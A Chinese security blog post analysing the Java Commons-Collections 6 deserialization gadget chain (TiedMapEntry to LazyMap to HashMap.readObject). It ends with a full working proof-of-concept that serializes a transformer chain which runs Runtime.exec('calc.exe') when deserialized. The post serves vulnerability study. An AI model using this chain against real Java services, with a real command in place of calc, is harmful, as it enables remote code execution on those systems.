Java CommonCollections6利用链

发布于 2021-11-19  661 次阅读


0x00 写在前面

jdk8u71及以后的版本中,sun.reflect.annotation.AnnotationInvocationHandler类的readObject()方法进行了修改,无法利用sun.reflect.annotation.AnnotationInvocationHandler类来进行反序列化的利用了,CommonsCollections6就是解决CommonsCollections1在高版本中无法利用的问题。

利用链来自P神的知识星球。

0x01 分析利用

jdk8u71及以后的版本中,sun.reflect.annotation.AnnotationInvocationHandler类的readObject()方法进行了修改,在进行反序列化之后,并没有直接使用得到的Map,而是新创建了一个LinkedHashMap对象,Map<String, Object> mv = new LinkedHashMap<>()。然后用他来进行操作,mv.put(name, value)。这样一来,没有使用了我们构造的Map,前面的利用链自然也无法使用了。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    ObjectInputStream.GetField fields = s.readFields();

    @SuppressWarnings("unchecked")
    Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
    @SuppressWarnings("unchecked")
    Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(t);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    // consistent with runtime Map type
    Map<String, Object> mv = new LinkedHashMap<>();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
        String name = memberValue.getKey();
        Object value = null;
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                value = new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                    annotationType.members().get(name));
            }
        }
        mv.put(name, value);
    }

    UnsafeAccessor.setType(this, t);
    UnsafeAccessor.setMemberValues(this, mv);
}

既然sun.reflect.annotation.AnnotationInvocationHandler已经无法利用了,那么就来找其他的类中是否还存在对LazyMap.get()的调用。

这条链找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在它的getValue()方法中调用了map.get(key)

public Object getValue() {
    return map.get(key);
}

而在hashCode()中又调用了getValue()

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

又找到在java.util.HashMap中的hash()方法调用了hashcode()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

然后在java.util.HashMapreadObject()中,与ysoserial的payload不同的是,p神选择的payload是由最后的putVal(hash(key), key, value, false, false)来调用hash(key),也就是说,只要这里的key等于一个org.apache.commons.collections.keyvalue.TiedMapEntry对象,这个链子就连上了。

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    ......
    s.readInt();                // Read and ignore number of buckets
    ......
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        ......

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

那么接下来就是POC链的编写,首先依旧还是同之前一样,创建transformerChain对象以及LazyMap对象。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
                           new Class[]{
                               String.class,
                               Class[].class}, new Object[]{"getRuntime",
                                                            new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{
        Object.class,
        Object[].class}, new Object[]{null, new
        Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class
        },
                           new String[]{"calc.exe"}),
    new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后就是TiedMapEntry的创建,来看看他的构造方法,第一个参数为Map对象,第二个参数为key。由于在POC链中我们想要调用的getValue()方法调用的是map.get(key),所以这里的map就传入我们构造的HashMap对象。TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

public Object getValue() {
    return map.get(key);
}

由于我们想要的反序列化的点是HashMapreadObject()中,且目标代码是hash(key),这里的keyHashMap中的键值对中的键,我们想要他为org.apache.commons.collections.keyvalue.TiedMapEntry对象,因此我们创建一个HashMap对象,然后添加键值对,键的值为我们上面创建的tme

Map expMap = new HashMap();
expMap.put(tme, "value");

到这里也就差不多了,对expMap进行序列化反序列化之后会发现并没有命令执行。

调试可以找到在运行到LazyMapget方法时没有进入if,而且还多出一个键值为key。而LazyMapcontainsKey方法会查找是否包含该键的内容,想要进入if,就得返回false。这里的key是我们创建的TiedMapEntry对象传入的key值,map也是创建TiedMapEntry对象时传入的LazyMap,那么这个key值为什么会存在于这个LazyMap修饰的HashMap中呢?

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

在运行至expMap.put(tme, "value1")时,调用HashMap.put(),会调用hash(key),这样就走了一遍命令执行的利用链。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

然后在LazyMapget方法中,就会调用map.put(key, value),将这个键值添加进去,就会导致反序列化时多出一个键值无法进入if。那么我们只需在序列化之前将这个键值对删除就可以了。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

下面是完整的POC链。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;


public class CommonCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{
                    String.class,
                    Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
        Map expMap = new HashMap();
        expMap.put(tme, "value");
        outerMap.remove("key");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

0x02 为什么调试结果与运行结果不同

这里有个地方需要注意,在调试过程中,可能会直接触发命令执行,然后在outerMap中加入一个键值对。

这是因为IDEA的调试会调用变量的toString()方法,然而TiedMapEntrytoString()方法会调用getValue(),而getValue()显然就会导致命令执行且添加一个键值对,所以调试和直接运行的结果可能会不同,注意一下就可以了。

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}

0x03 参考资料

p神知识星球